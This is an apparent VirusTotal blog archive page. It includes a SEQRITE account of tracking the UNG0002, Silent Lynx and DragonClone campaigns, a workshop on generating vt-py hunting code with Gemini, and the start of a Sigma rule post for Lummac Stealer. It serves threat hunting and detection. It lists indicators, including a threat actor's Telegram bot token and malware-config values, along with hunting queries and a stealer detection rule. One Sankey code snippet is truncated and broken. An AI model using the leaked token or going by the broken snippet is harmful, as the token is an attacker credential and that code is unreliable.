Our first blog saw our colle… Continue reading VTPRACTITIONERS{ACRONIS}: Tracking FileFix, Shadow Vector, and SideWinder→

VTPRACTITIONERS{SEQRITE}: Tracking UNG0002, Silent Lynx and DragonClone

Introduction

One of the best parts of being at VirusTotal (VT) is seeing all the amazing ways our community uses our tools to hunt down threats. We love hearing about your successes, and we think the rest of the community would too.
That’s why we’re so excited to start a new blog series where we’ll be sharing success stories from some of our customers. They’ll be giving us a behind-the-scenes look at how they pivot from an initial clue to uncover entire campaigns.

To
kick things off, we’re thrilled to have our friends from SEQRITE
join us. Their
APT-Team
is full of incredible threat hunters, and they’ve got a great story to share about how they’ve used VT to
track some sophisticated actors.

How VT plays a role in hunting for analysts

For a threat analyst, the hunt often begins with a single, seemingly isolated clue—a suspicious file, a strange domain, or an odd IP address. The challenge is to connect that one piece of the puzzle to the larger picture. This is where VT truly shines.

VT is more than just a tool for checking if a file is malicious. It’s a massive, living database of digital artifacts (process activity, registry key activity, memory dumps, LLM verdicts, among others) and their relationships. It allows analysts to pivot from one indicator of compromise to another, uncovering hidden connections and mapping out entire attack campaigns. It’s this ability to connect the dots—to see how a piece of malware communicates with a C2 server, what other files are associated with it, what processes were launched or files were used to set persistence or exfiltrate information, and who else has seen it—that transforms a simple file check into a full-blown investigation. The following story from SEQRITE is a perfect example of this process in action.

Seqrite – Success Story

[In the words of SEQRITE…]
We at SEQRITE APT-Team perform a lot of activities, including threat hunting and threat intelligence, using customer telemetry and multiple other data corpuses. Without an iota of doubt, apart from our customer telemetry, the VT corpus has aided us a decent amount in converting our research, which includes hunting unique campaigns and multiple pivots that have led us to an interesting set of campaigns, ranging across multiple spheres of Asian geography, including Central, South, and East Asia.

UNG0002

SEQRITE
APT-Team have been tracking a south-east asian threat entity, which was termed as UNG0002,
using certain behavioral artefacts, such using similar OPSEC mistakes across multiple campaigns and using
similar set of decoys and post-exploitation toolkit across multiple operational campaigns ranging from May
2024 to May 2025.
During
the initial
phase

of this campaign, the threat actor performed multiple targets across Hong Kong and Pakistan against
sectors involving defence, electrotechnical, medical science, academia and much more.
VT corpus has helped us to pivot through Cobalt Strike oriented beacons, which were used by this threat actor to target various sectors. In our hunt for malicious activity, we discovered a series of Cobalt Strike beacons. These were all delivered through similar ZIP files, which acted as lures. Each ZIP archive contained the same set of file types: a malicious executable, along with LNK, VBS, and PDF decoy files. The beacons themselves were also similar, sharing configurations, filenames and compilation timestamps.

Using
the timestamps from the malicious executables and the filenames previously mentioned, we discovered up to 14
different samples
, all of them related to the campaign with this query
VirusTotal query: metadata:”2015:07:10 03:27:31+00:00″ filename:”imebroker.exe”

based on the configuration extracted by VT, we could use the public key extracted to identify more samples
using exactly the same with the following query
malware_config:30819f300d06092a864886f70d010101050003818d003081890281810096cc4e6ad9aee91ca69b7b44465e17412626a11c7855b7a69daad00f48c0ea98f0e389a0a1c4b74332bf0d603a6e53e05ee734c9a289ff172204bfc9430ed4d6041402d02b526e902b95f6f219598cb1b6391403fa627ab36dbe88646620369e7ec89bdc31f1a2b0bedba1852d5e7656d3b297f9d39f357816f0677563bc496b020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Besides
these executables, we mentioned that there were also LNK
files within the ZIP files. After analyzing them, a consistent LNK-ID metadata revealed the same identifiers
across many samples.
Querying
VT for those LNK-IDs exposed we could identify new files related to the campaign.
VirusTotal query: metadata:”laptop-g5qalv96″

Decoy documents identified within the ZIP files mentioned above

We initially tracked several campaigns leveraging LNK-based device IDs and Cobalt Strike beacons. However, an intriguing shift began to emerge in the September-October activity. We observed a new set of campaigns that frequently used CV-themed decoys, often impersonating students from prominent Chinese research institutions.

While the spear-phishing tactics remained similar, the final execution changed. The threat actors dropped their Cobalt Strike beacons and pivoted toward DLL-Sideloading for their payloads, all while keeping the same decoy theme. This significant change in technique led us to identify a second major wave of this activity, which we’re officially labeling Operation AmberMist.

Tracking this second wave of operations attributed to the UNG0002 cluster, we observed a recurring behavioral artifact: the use of academia-themed lures targeting victims in China and Hong Kong.

Across these campaigns, multiple queries were leveraged, but a consistent pattern emerged—heavy reliance on LOLBINS such as wscript.exe, cscript.exe, and VBScripts for persistence.

By
developing a simple yet effective hunting query,
we were able to uncover a previously unseen sample not publicly reported:
type:zip AND (metadata:"lnk" AND metadata:".vbs" AND metadata:".pdf") and submitter:HK

VirusTotal query: type:zip AND (metadata:”lnk” AND metadata:”.vbs” AND metadata:”.pdf”) and submitter:HK

Silent Lynx

Another
campaign tracked by the SEQRITE APT-team, named Silent
Lynx
,
targeted multiple sectors including banking. As in the previous described case, thanks to VT we were able to
pivot and identify new samples associated with this campaign.
Initial Discovery and Pivoting
During
the initial phase of this campaign, we discovered a decoy-based
SPECA-related archive
file
targeting Kyrgyzstan around December 2024 – January 2025. The decoy was designed to distract from the real
payload: a malicious C++ implant.
Decoy document identified during our research

Second campaign of Silent Lynx @ Bank of Kyrgyz Republic
Email identified during our reserach

We performed multiple pivots focusing on the implant, starting by analyzing the sample’s metadata and network indicators and functionalities, we found that the threat actor had been using a similar C++ implant, which led us to another campaign targeting the banking sector of Kyrgyzstan related to Silent Lynx too.

Information obtained during the analysis of the C++ implants

Information obtained during the analysis of the C++ implants

We
leveraged VT corpus for deploying multiple Livehunt
rules on multiple junctures, some of the simpler examples are as follows:

  • Looking
    at the usage of encoded Telegram Bot based payload inside the C++ implant.
    Using
    either content or malware_config modifiers when extracted from the config could help us to identify
    new samples.

  • Spawning
    Powershell.exe LOLBIN.

  • VT
    search enablers for checking for malicious email files, if uploaded from Central Asian
    Geosphere.

  • ISO-oriented
    first-stagers.

  • Multiple
    behavioral overlaps between YoroTrooper & Silent Lynx and further hunting hypothesis developed
    by us. 

Leveraging VT corpus and using further pivots on the above metrics and many others included on the malicious spear-phishing email, we also tracked some further campaigns. Most importantly, we developed a new YARA rule and a new hypothesis every time to hunt for similar implants leveraging the Livehunt feature depending on the tailored specifications and the raw data we received during hunting keeping in mind the cases of false positives and false negatives.

Decoy document identified during our hunting activities

Submissions identified in the decoy document

The
threat actor repeatedly used the same implant across multiple campaigns in Uzbekistan
and
Turkmenistan.
Using hunting
queries
through VT along with submitter:UZ or submitter:TM helped us to identify these samples.
The
most important pivot
in our investigation was the malware sample itself as shown in the previous screenshots was the usage of
encoded
PowerShell blob
spawning powershell.exe,
which was used multiple times across different campaigns. This sample acted as a key indicator, allowing us
to uncover other campaigns targeting critical sectors in the region, and confirmed the repetitive nature of
the actor’s operations.
Also,
thanks to VT feature of collections,
we further leveraged it to build an attribution of the threat entity.
Collections used during the attribution process

DragonClone

Finally,
the last campaign that we wanted to illustrate how pivoting within the VT ecosystem enabled our team to
uncover new samples
was by a group we named DRAGONCLONE
The SEQRITE APT Team has been monitoring DRAGONCLONE as they actively target critical sectors across Asia and the globe. They utilize sophisticated methods for cyber-espionage, compromising strategic organizations in sectors like telecom and energy through the deployment of custom malware implants, the exploitation of unpatched vulnerabilities, and extensive spear-phishing.

Initial Discovery
Recently,
on 13th
May
,
our team discovered a
malicious
ZIP
file

that surfaced across various sources, including VT. The ZIP file was used as a preliminary infection vector
and contained multiple EXE and DLL files inside the archive, like
this
one

which contains the malicious payload.
Chinese-based
threat actors have a well-known tendency to deliver DLL
sideloading implants

as part of their infection chains. Leveraging
crowdsourced
Sigma rules in VT
,
along with personal hunting techniques using static
YARA
signatures
,
we were able to track and hunt this malicious spear-phishing attachment effectively. In their public
Sigma
Rules list

you can find different Sigma Rules that are created to identify DLL SideLoading.
Pivoting Certificates via VT Corpus
While
exploring the network of related artifacts, we could not initially find any direct commonalities. However, a
particular clean-looking executable
named “2025 China Mobile Tietong Co., Ltd. Internal Training Program” raised our concern. Its naming and
metadata suggested potential masquerading behavior, making it a critical pivot point that required deeper
investigation.
Certificates
are one of the most key indicators, while looking into malicious artefacts, we saw that it is a fresh and
clean copy of WonderShare’s Repairit Software, a well known software for repairing corrupted files, whereas
a suspicious concern is that it has been signed by ShenZhen
Thunder NetWorking Technologies Ltd
VirusTotal query: signature:”ShenZhen Thunder Networking Technologies Ltd.”

Using this hunch, we discovered and hunted for executables, which have been signed by similar and found there have been multiple malicious binaries, although, this has not been the only indicator or pivot, but a key one, to research for further ones.

Pivoting on Malware Configs via VT Corpus
We analyzed the loader and determined it’s slightly advanced, performing complex tasks like anti-debugging. More significantly, it drops V-Shell, a post-exploitation toolkit. V-Shell was originally open-source but later taken down by its authors and has been observed in campaigns by Earth Lamia.

After
extracting the V-Shell shellcode, we discovered an unusual malware configuration property: qwe123qwe.
By leveraging the VT corpus to
pivot
on this finding, we were able to identify additional V-Shell implant samples potentially linked to this
campaign.
VirusTotal query: malware_config:”qwe123qwe”

VT Tips (based on the success story)

[In the words of VirusTotal…]
Threat hunting is an art, and a good artist needs the right tools and techniques. In this section, we’ll share some practical tips for pivoting and hunting within the VirusTotal ecosystem, inspired by the techniques used in the campaigns discussed in this blog post.

Hunt by Malware Configuration

Many malware families use configuration files to store C2 information, encryption keys, and other operational data. For some malware families, VirusTotal automatically extracts these configurations. You can use unique values from these configurations to find other samples from the same campaign.

For instance, in the DRAGONCLONE investigation, the V-Shell implant had an unusual malware configuration property: qwe123qwe. A simple query like malware_config:”qwe123qwe” in VT can reveal other samples using the same configuration. Similarly, the Cobalt Strike beacons used by UNG0002 had a unique public key in their configuration that could be used for pivoting. That’s thanks to Backscatter. We’ve written blogs showing how to do advanced hunting using only the malware_config modifier. Remember that you can search for samples by family name like malware_config:”redline” up to Telegram tokens and even URLs configured in the malware configuration like malware_config:”https://steamcommunity.com/profiles/76561198780612393″.

Don’t Overlook LNK File Metadata

Threat actors often make operational security (OPSEC) mistakes. One common mistake is failing to remove metadata from files, including LNK (shortcut) files. This metadata can reveal information about the attacker’s machine, such as the hostname.

In the UNG0002 campaign, the actor consistently used LNK files with the same metadata, specifically the machine identifier laptop-g5qalv96. We know that this information can be also modified by them to deceive security researchers, but often we observe good information that can be used to track them. This allowed the SEQRITE team to uncover a wider set of samples by querying VirusTotal for this metadata string.

Track Actors via Leaked Bot Tokens

Some malware, especially those using public platforms for command and control, will have hardcoded API tokens. As seen in the “Silent Lynx” campaign, a PowerShell script used a hardcoded Telegram bot token for C2 communication and data exfiltration.

These
tokens can be extracted from memory dumps during sandbox execution or from the malware’s code itself. Once
you have a token, you may be able to track the threat actor’s commands and even identify other victims, as
was done in the Silent
Lynx investigation.
A concrete example of using Telegram bot tokens is the query malware_config:”bot7213845603:AAFFyxsyId9av6CCDVB1BCAM5hKLby41Dr8″, which is associated with four infostealer samples uploaded between 2024 and 2025.

Leverage Code-Signing Certificates

Threat actors sometimes sign their malicious executables to make them appear legitimate. They may use stolen certificates or freshly created ones. These certificates can be a powerful pivot point.

In the DRAGONCLONE case, a suspicious executable was signed by “ShenZhen Thunder Networking Technologies Ltd.”. By searching for other files signed with the same certificate (signature:”ShenZhen Thunder Networking Technologies Ltd.”), you can uncover other tools in the attacker’s arsenal.

Utilize YARA and Sigma Rules

For proactive hunting, you can develop your own YARA rules to find malware families based on unique strings, code patterns, or other characteristics. This was a key technique in the “Silent Lynx” campaign for hunting similar implants.

Additionally,
you can leverage the power of the community by using crowdsourced
Sigma rules

in VirusTotal, even
within
your YARA rules
.
These rules can help you identify malicious behaviors, such as the DLL sideloading techniques used by
DRAGONCLONE, directly from sandbox execution data.
For example, If you want to search for the Sigma rule “Potential DLL Sideloading Of MsCorSvc.DLL” in VT files, you can use the query sigma_rule:99b4e5347f2c92e8a7aeac6dc7a4175104a8ba3354e022684bd3780ea9224137 to do so. All the Sigma rules are updated from the public repo and can be consumed here.

Conclusion

The success stories of the SEQRITE APT-Team in tracking campaigns like UNG0002, Silent Lynx, and DRAGONCLONE demonstrate the power of VirusTotal as a collaborative and comprehensive threat intelligence platform. By leveraging a combination of malware configuration analysis, metadata pivoting, and community-driven tools like YARA and Sigma rules, security researchers can effectively uncover and track sophisticated threat actors.

These examples highlight that successful threat hunting is not just about having the right tools, but also about applying creative and persistent investigation techniques. The ability to pivot from one piece of evidence to another is crucial in connecting the dots and revealing the full scope of a campaign. The SEQRITE team has demonstrated a deep understanding of these pivoting techniques, and we appreciate that they have decided to share their valuable insights with the rest of the community.

We hope these tips and stories have been insightful and will help you in your own threat-hunting endeavors. The fight against cybercrime is a collective effort, and the more we share our knowledge and experiences, the stronger we become as a community.

If you have a success story of using VirusTotal that you would like to share with the community, we would be delighted to hear from you. Please reach out to us, and we will be happy to feature your story in a future blog post at practitioners@virustotal.com.

Together, we can make the digital world a safer place.

Continue reading VTPRACTITIONERS{SEQRITE}: Tracking UNG0002, Silent Lynx and DragonClone→

Advanced Threat Hunting: Automating Large-Scale Operations with LLMs

Last week, we were fortunate enough to attend the fantastic LABScon conference, organized by the SentinelOne Labs team. While there, we presented a workshop titled ‘Advanced Threat Hunting: Automating Large-Scale Operations with LLMs.’ The main goal of this workshop was to show attendees how they could automate their research using the VirusTotal API and Gemini. Specifically, we demonstrated how to integrate the power of Google Colab to quickly and efficiently generate Jupyter notebooks using natural language.

It goes without saying that the use of LLMs is a must for every analyst today. For this reason, we also want to make life easier for everyone who uses the VirusTotal API for research.

The Power of the VirusTotal API and vt-py

The VirusTotal API is the programmatic gateway to our massive repository of threat intelligence data. While the VirusTotal GUI is great for agile querying, the API unlocks the ability to conduct large-scale, automated investigations and access raw data with more pivoting opportunities.

To make interacting with the API even easier, we recommend using the vt-py library. It simplifies much of the complexity of HTTP requests, JSON parsing, and rate limit management, making it the go-to choice for Python users.

From Natural Language to Actionable Intelligence with Gemini

To bridge the gap between human questions and API queries, we can leverage the integrated Gemini in Google Colab. We have created a “meta Colab” notebook that is pre-populated with working real code snippets for interacting with the VirusTotal API to retrieve different information such as campaigns, threat actors, malware, samples, URLs among others (which we will share soon). This provides Gemini with the necessary context to understand your natural language requests and generate accurate Python code to query the VirusTotal API. Gemini doesn’t call the API directly; it creates the code snippet for you to execute.

For Gemini to generate accurate and relevant code, it needs context. Our meta Colab notebook is filled with examples that act as a guide. For complex questions, it will be nice to provide the exact field names that you want to work with. This context generally falls into two categories:

  1. Reference Documentation: We include detailed documentation directly in the Colab. For example, we provide a comprehensive list of all available file search modifiers for the VirusTotal Intelligence search endpoint. This gives Gemini the “vocabulary” it needs to construct precise queries.
  2. Working Code Examples: The notebook is pre-populated with dozens of working vt-py code snippets for common tasks like retrieving file information, performing an intelligence search, or getting relationships. This gives Gemini the “grammar” and correct patterns for interacting with our API.

Example of code snippet context that we have included in our meta colab:

query_results_with_behaviors = []
query = "have:sigma have:yara have:ids have:malware_config fs:1d+ have:bundled_file tag:overlay"
RELATIONS = "behaviours"

async for itemobj in cli.iterator('/intelligence/search',params={'query': query, 'relationships': RELATIONS, 'relationship_attributes[%s]'%(RELATIONS): '\*'},limit=0):
    query_results_with_behaviors.append(itemobj.to_dict())

res_with_behaviors = list(query_results_with_behaviors)

Diagram showing the flow from User's Action to Actionable Intelligence via Gemini and VirusTotal API


Practical Example: Hunting for Malicious LNK Files

One of the exercises in our workshop focused on analyzing malicious LNK files submitted to VirusTotal in a specific period of time to limit results. The goal was to discover common execution techniques and interesting command-line patterns.

Here’s how you could approach this with natural language queries in our meta Colab:

1. Retrieve all LNK file objects matching the criteria.

You can start by asking Gemini:

Create a code snippet to retrieve all LNK files submitted from January 1st, 2025, until April 1st, 2025, with 5 or more positives.

Code generated:

query_results = []

# Query for LNK files submitted between January 1st, 2025, and April 1st, 2025, with 5 or more positives.
query = "fs:2025-01-01+ fs:2025-04-01- p:5+ type:lnk"

async for itemobj in cli.iterator('/intelligence/search',params={'query': "%s"%(query)},limit=0):
    query_results.append(itemobj.to_dict())

lnk_files = list(query_results)
print(f"Found {len(lnk_files)} LNK files matching the criteria.")

2. Flatten the data and visualize it.

Next, you can ask Gemini to process the retrieved data and create visualizations:

Flatten the data in a dataframe and create a bar chart depicting the most common TargetFileDOSName values.

Code generated:

import pandas as pd
import plotly.express as px

# Extract the 'attributes' dictionary from each object in our results
attributes_list = [result.get('attributes', {}) for result in lnk_files]

# Use json_normalize to create a flat DataFrame
df_flat = pd.json_normalize(attributes_list)

# Check if 'exiftool.TargetFileDOSName' column exists and is not empty
if 'exiftool.TargetFileDOSName' in df_flat.columns and not df_flat['exiftool.TargetFileDOSName'].empty:
    # Count the occurrences of each TargetFileDOSName
    target_file_counts = df_flat['exiftool.TargetFileDOSName'].value_counts().reset_index()
    target_file_counts.columns = ['TargetFileDOSName', 'Count']

    # Get the top 10 most common TargetFileDOSName values for visualization
    top_target_files = target_file_counts.head(10)

    # Create an interactive bar chart
    fig = px.bar(top_target_files,
                 x='Count',
                 y='TargetFileDOSName',
                 orientation='h',
                 title='Top 10 Most Common TargetFileDOSName in LNK files',
                 labels={'Count': 'Number of Occurrences', 'TargetFileDOSName': 'Target File DOS Name'})
    fig.show()
else:
    print("The 'exiftool.TargetFileDOSName' column was not found or is empty in the flattened data.")

print("DataFrame shape:", df_flat.shape)
df_flat.head()

This will generate a code snippet using pandas and Plotly to give you a clear view of the most frequent target files in the malicious LNKs.

3. Visualize relationships with a Sankey diagram.

To dig deeper and understand the relationships between the infected machines and the malware, you can ask for a more advanced visualization:

Create a Sankey diagram connecting MachineID (source) to TargetFileDOSName (target), with link widths representing the number of occurrences. Include only MachineID values with 10 or more occurrences, grouping the rest as "Other", and make the visualization interactive with hover details.

Code generated:

import plotly.graph_objects as go
import pandas as pd

# Ensure df_flat is available from previous steps
# If not, you might need to re-run the cell that creates df_flat.

# Check if necessary columns exist in df_flat
if 'lnk_info.machine_id' in df_flat.columns and 'exiftool.TargetFileDOSName' in df_flat.columns:

    # Calculate the frequency of each machine ID and target file name pair
    pair_frequencies = df_flat.groupby(['lnk_info.machine_id', 'exiftool.TargetFileDOSName']).size().reset_index(name='frequency')

    # Identify MachineIDs with less than 10 occurrences
    machine_id_counts = pair_frequencies.groupby('lnk_info.machine_id')['frequency'].sum().reset_index(name='count')
    other_machine_ids = machine_id_counts[machine_id_counts['count']  {row['exiftool.TargetFileDOSName']}: {row['frequency']}", axis=1)
        )
    )])

    fig.update_layout(title_text="MachineID to TargetFileDOSName Sankey Diagram (Infrequent MachineIDs grouped as 'Other')", font_size=10)
    fig.show()
else:
    print("Required columns 'lnk_info.machine_id' or 'exiftool.TargetFileDOSName' not found in the DataFrame.")

This will create a powerful visualization that shows how different machines are being targeted with specific files, allowing us identify patterns for each machineID metadata.

Sankey diagram

4. Analyze the behavior of the LNK files.

Finally, you can investigate the behavior of the LNK files themselves, for example, by looking at how they are executed:

Create a pie chart depicting the distribution of window behaviors for LNK target processes (hidden, minimized,...).

Code generated:

import plotly.express as px
import pandas as pd

# Check if the relevant column exists
if 'lnk_info.header.show_window_str' in df_flat.columns and not df_flat['lnk_info.header.show_window_str'].empty:
    # Count the occurrences of each window behavior string
    window_behavior_counts = df_flat['lnk_info.header.show_window_str'].value_counts().reset_index()
    window_behavior_counts.columns = ['Window Behavior', 'Count']

    # Create an interactive pie chart
    fig = px.pie(window_behavior_counts,
                 names='Window Behavior',
                 values='Count',
                 title='Distribution of LNK Target Process Window Behaviors',
                 hover_data={'Count': True})
    fig.show()
else:
    print("The 'lnk_info.header.show_window_str' column was not found or is empty in the flattened data. Cannot create the pie chart.")

Pie chart of window behaviors

This allows you to quickly identify if the LNK files are trying to hide their execution, a common use case for malware.

5. Geographic Threat Mapping of Submissions

Understanding the geographical distribution of malware submissions can provide crucial insights into whether a campaign is widespread or targeting a specific region. By analyzing the submission metadata for our set of LNK files, an analyst can quickly identify potential hotspots, which could indicate a geographically focused attack. This is achieved by fetching the submissions relationship for each file, extracting the country of origin for each submission, and plotting this data on a world map (please note that submissions doesn’t mean targeted countries, but in some cases could be related).

Using the LNK files identified previously, create a code snippet that retrieves the submissions relationship for each file. Then, count the number of submissions from each country and display the results on a choropleth world map to visualize the submission hotspots.

In this case, Gemini uses the step-by-step execution, which basically is a set of consecutive executions. The code generated was:

Step 1
query_results_with_submissions = []

# Define the search query string for LNK files
query = "fs:2025-01-01+ fs:2025-04-01- p:5+ type:lnk"

# Define the relationship to request
RELATIONS = "submissions"

# Define the relationship attributes to retrieve (all attributes)
ATTRIBUTES_RELATIONS = "*"

# Use cli.iterator to perform an intelligence search with the specified query, relationships, and relationship attributes.
async for itemobj in cli.iterator('/intelligence/search', params={'query': query, 'relationships': RELATIONS, 'relationship_attributes[%s]'%(RELATIONS): ATTRIBUTES_RELATIONS}, limit=0):
    query_results_with_submissions.append(itemobj.to_dict())

# Convert query_results_with_submissions to a list called lnk_files_with_submissions
lnk_files_with_submissions = list(query_results_with_submissions)

# Print the number of LNK files found with submission data.
print(f"Found {len(lnk_files_with_submissions)} LNK files with submission data matching the criteria.")
Step 2
import pandas as pd

# Initialize an empty list to store submission countries
submission_countries = []

# Iterate through each item (LNK file) in the lnk_files_with_submissions list
for item in lnk_files_with_submissions:
    # Check if 'relationships' and 'submissions' exist and are not empty
    if 'relationships' in item and 'submissions' in item['relationships'] and item['relationships']['submissions']['data']:
        # Iterate through each submission object
        for submission in item['relationships']['submissions']['data']:
            # Extract the 'country' from 'submission['attributes']' and append it to the list
            if 'country' in submission['attributes']:
                submission_countries.append(submission['attributes']['country'])

# Convert the submission_countries list into a pandas Series
submission_countries_series = pd.Series(submission_countries)

# Count the occurrences of each country and store in a DataFrame
country_counts = submission_countries_series.value_counts().reset_index()
country_counts.columns = ['country', 'count']

print(f"Total unique countries found: {len(country_counts)}")
print("Top 5 submission countries:")
print(country_counts.head())
Step 3
!pip install pycountry
import plotly.express as px
import pandas as pd
import pycountry

# Function to get ISO-3 code from country name
def get_iso3(country_name):
    try:
        return pycountry.countries.search_fuzzy(country_name)[0].alpha_3
    except:
        return None

# Apply the function to get ISO-3 codes
country_counts['iso_alpha'] = country_counts['country'].apply(get_iso3)

# Create a world heatmap using Plotly Express with ISO-3 codes
fig = px.choropleth(country_counts.dropna(subset=['iso_alpha']), # Drop rows where ISO code couldn't be found
                      locations="iso_alpha", # Use ISO-3 codes for locations
                      locationmode='ISO-3',   # Specify ISO-3 location mode
                      color="count",
                      hover_name="country",
                      color_continuous_scale="Viridis",
                      title="Submission Country Heatmap")

# Update layout to increase figure size
fig.update_layout(
    autosize=False,
    width=1000, # Adjust width as needed
    height=600 # Adjust height as needed
)

fig.show()

World heatmap of submissions

More Examples

Here are some other examples of how you can use natural language to query the VirusTotal API:

  • Find malicious Chrome extensions (based on this blog):

This specific question is actually a really good example of how Google Colab will run the step-by-step process. As you can see, we asked different questions in the same prompt, for that reason Gemini will do it in different steps.

Retrieve all the samples from the /intelligence/search endpoint with the following query: fs:2025-08-01+ fs:2025-08-14- p:5+ tag:crx have:codeinsight.

Get the bundled_files and create a new dataframe with them too, but store only those having 5 or more malicious value.

Then identify the top 5 magika of those bundled files obtained

Code generated:

Step 1
query_results_with_bundled_files = []

# Define the search query string
query = "fs:2025-08-01+ fs:2025-08-14- p:5+ tag:crx have:codeinsight"

# Define the relationship to request
RELATIONS = "bundled_files"

# Define the relationship attributes to retrieve (all attributes)
ATTRIBUTES_RELATIONS = "*"

# Use cli.iterator to perform an intelligence search with the specified query, relationships, and relationship attributes.
async for itemobj in cli.iterator('/intelligence/search', params={'query': query, 'relationships': RELATIONS, 'relationship_attributes[%s]'%(RELATIONS): ATTRIBUTES_RELATIONS}, limit=0):
    query_results_with_bundled_files.append(itemobj.to_dict())

# Convert query_results_with_bundled_files to a list called crx_files_with_bundled_files
crx_files_with_bundled_files = list(query_results_with_bundled_files)

# Print the number of found CRX files with bundled file data.
print(f"Found {len(crx_files_with_bundled_files)} CRX files with bundled file data matching the criteria.")
Step 2
import pandas as pd

# List to store all bundled file attributes
all_bundled_files_data = []

# Iterate through each CRX file with bundled file data
for crx_file in crx_files_with_bundled_files:
    if 'relationships' in crx_file and 'bundled_files' in crx_file['relationships']:
        for bundled_file in crx_file['relationships']['bundled_files']['data']:
            all_bundled_files_data.append(bundled_file.get('attributes', {}))

# Create a DataFrame from the extracted bundled file attributes
df_bundled_files = pd.json_normalize(all_bundled_files_data)

# Filter for bundled files with 5 or more malicious detections
df_malicious_bundled_files = df_bundled_files[df_bundled_files['last_analysis_stats.malicious'] >= 5]

print(f"Total bundled files extracted: {len(df_bundled_files)}")
print(f"Bundled files with 5 or more malicious detections: {len(df_malicious_bundled_files)}")

df_malicious_bundled_files.head()
Step 3
import pandas as pd
import plotly.express as px

# Check if the 'magika' column exists and is not empty in the filtered DataFrame
if 'magika' in df_malicious_bundled_files.columns and not df_malicious_bundled_files['magika'].empty:
    # Count the occurrences of each magika type
    magika_counts = df_malicious_bundled_files['magika'].value_counts().reset_index()
    magika_counts.columns = ['Magika Type', 'Count']

    # Get the top 5 most frequent magika types
    top_5_magika = magika_counts.head(5)

    print("Top 5 Magika Types in malicious bundled files:")
    print(top_5_magika)

    # Visualize the top 5 magika types
    fig = px.bar(top_5_magika,
                 x='Count',
                 y='Magika Type',
                 orientation='h',
                 title='Top 5 Magika Types in Malicious Bundled Files',
                 labels={'Count': 'Number of Occurrences', 'Magika Type': 'Magika Type'}) 
    fig.update_layout(yaxis={'categoryorder':'total ascending'}) # Order bars by count
    fig.show()
else:
    print("The 'magika' column was not found or is empty in the filtered malicious bundled files DataFrame. Cannot identify top magika types.")
  • Retrieve threat actors:
Retrieve threat actors targeting the United Kingdom with an espionage motivation. Sort the results in descending order of relevance. Display the total number of threat actors and their names.
  • Investigate campaigns:
Retrieve information about threat actors and malware involved in campaigns targeting Pakistan. For each threat actor, retrieve its country of origin, motivations, and targeted industries. For each malware, retrieve its name.

What’s next

This workshop, co-authored with Aleksandar from Sentinel LABS, will be presented at future conferences to show the community how to get the most out of the VirusTotal API. We’ll be updating the content of our meta colab regularly and will share more information soon about how to get the Google Colab.

In the meantime, if you have any feedback or ideas to contribute, we are open to suggestions.

Continue reading Advanced Threat Hunting: Automating Large-Scale Operations with LLMs→

Supercharging Your Threat Hunts: Join VirusTotal at Labscon for a Workshop on Automation and LLMs

We are excited to announce that our colleague Joseliyo Sánchez, will be at Labscon to present our workshop: Advanced Threat Hunting: Automating Large-Scale Operations with LLMs. This workshop is a joint effort with SentinelOne and their researcher,… Continue reading Supercharging Your Threat Hunts: Join VirusTotal at Labscon for a Workshop on Automation and LLMs→

Research that builds detections

Note: You can view the full content of the blog here.

Introduction

Detection engineering is becoming increasingly important in surfacing new malicious activity. Threat actors might take advantage of previously unknown malware families – but a successful detection of certain methodologies or artifacts can help expose the entire infection chain.
In previous blog posts, we announced the integration of Sigma rules for macOS and Linux into VirusTotal, as well as ways in which Sigma rules can be converted to YARA to take advantage of VirusTotal Livehunt capabilities. In this post, we will show different approaches to hunt for interesting samples and derive new Sigma detection opportunities based on their behavior.

Tell me what role you have and I’ll tell you how you use VirusTotal

VirusTotal is a really useful tool that can be used in many different ways. We have seen how people from SOCs and Incident Response teams use it (in fact, we have our VirusTotal Academy videos for SOCs and IRs teams), and we have also shown how those who hunt for threats or analyze those threats can use it too.
But there’s another really cool way to use VirusTotal – for people who build detections and those who are doing research. We want to show everyone how we use VirusTotal in our work. Hopefully, this will be helpful and also give people ideas for new ways to use it themselves.
To explain our process, we used examples of Lummac and VenomRAT samples that we found in recent campaigns. These caught our attention due to some behaviors that had not been identified by public detection rules in the community. For that reason we have created two Sigma rules to share with the community, but if you want to get all the details about how we identified it and started our research, go to our Google Threat Intelligence community blog.

Our approach

As detection engineers, it is important to look for techniques that can be in use by multiple threat actors – as this makes tracking malicious activity more efficient. Prior to creating those detections, it is best to check existing research and rule collections, such as the Sigma rules repository. This can save time and effort, as well as provide insight into previously observed samples that can be further researched.
A different approach would be to instead look for malicious files that are not detected by existing Sigma rules, since they can uncover novel methodologies and provide new opportunities for detection creation.
One approach is to hunt for files that are flagged by at least five different AV vendors, were recently uploaded within the last month, have sandbox execution (in order to view their behavior), and which have not triggered any Crowdsourced Sigma rules.
p:5+ have:behavior fs:30d+ not have:sigma
This initial query can be adapted to incorporate additional filters that the researcher may find relevant. These could include modifiers to identify for example, the presence of the PowerShell process in the list of executed processes (behavior_created_processes:powershell.exe), filtering results to only include documents (type:document), or identifying communication with services like Pastebin (behavior_network:pastebin.com).
Another way to go is to look at files that have been flagged by at least five AV’s and were tested in either Zenbox or CAPE. These sandboxes often have great logs produced by Sysmon, which are really useful for figuring out how to spot these threats. Again, we’d want to focus on files uploaded in the last month that haven’t triggered any Sigma rules. This gives us a good starting point for building new detection rules.
p:5+ (sandbox_name:"CAPE Sandbox" or sandbox_name:"Zenbox") fs:30d+ not have:sigma
Lastly, another idea is to look for files that have not triggered many high severity detections from the Sigma Crowdsourced rules, as these can be more evasive. Specifically, we will look for samples with zero critical, high or medium alerts – and no more than two low severity ones.
p:5+ have:behavior fs:30d+ sigma_critical:0 sigma_high:0 sigma_medium:0 sigma_low:2-
With these queries, we can start investigating some samples that may be interesting to create detection rules.

Our detections for the community

Our approach helps us identify behaviors that seem interesting and worth focusing on. In our blog, where we explain this approach in detail, we highlighted two campaigns linked to Lummac and VenomRAT that exhibited interesting activity. Because of this, we decided to share the Sigma rules we developed for these campaigns. Both rules have been published in Sigma’s official repository for the community.

Detect The Execution Of More.com And Vbc.exe Related to Lummac Stealer

title: Detect The Execution Of More.com And Vbc.exe Related to Lummac Stealer
  id: 19b3806e-46f2-4b4c-9337-e3d8653245ea
  status: experimental
  description: Detects the execution of more.com and vbc.exe in the process tree. This behaviors was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process.
  references:
      - https://www.virustotal.com/gui/file/14d886517fff2cc8955844b252c985ab59f2f95b2849002778f03a8f07eb8aef
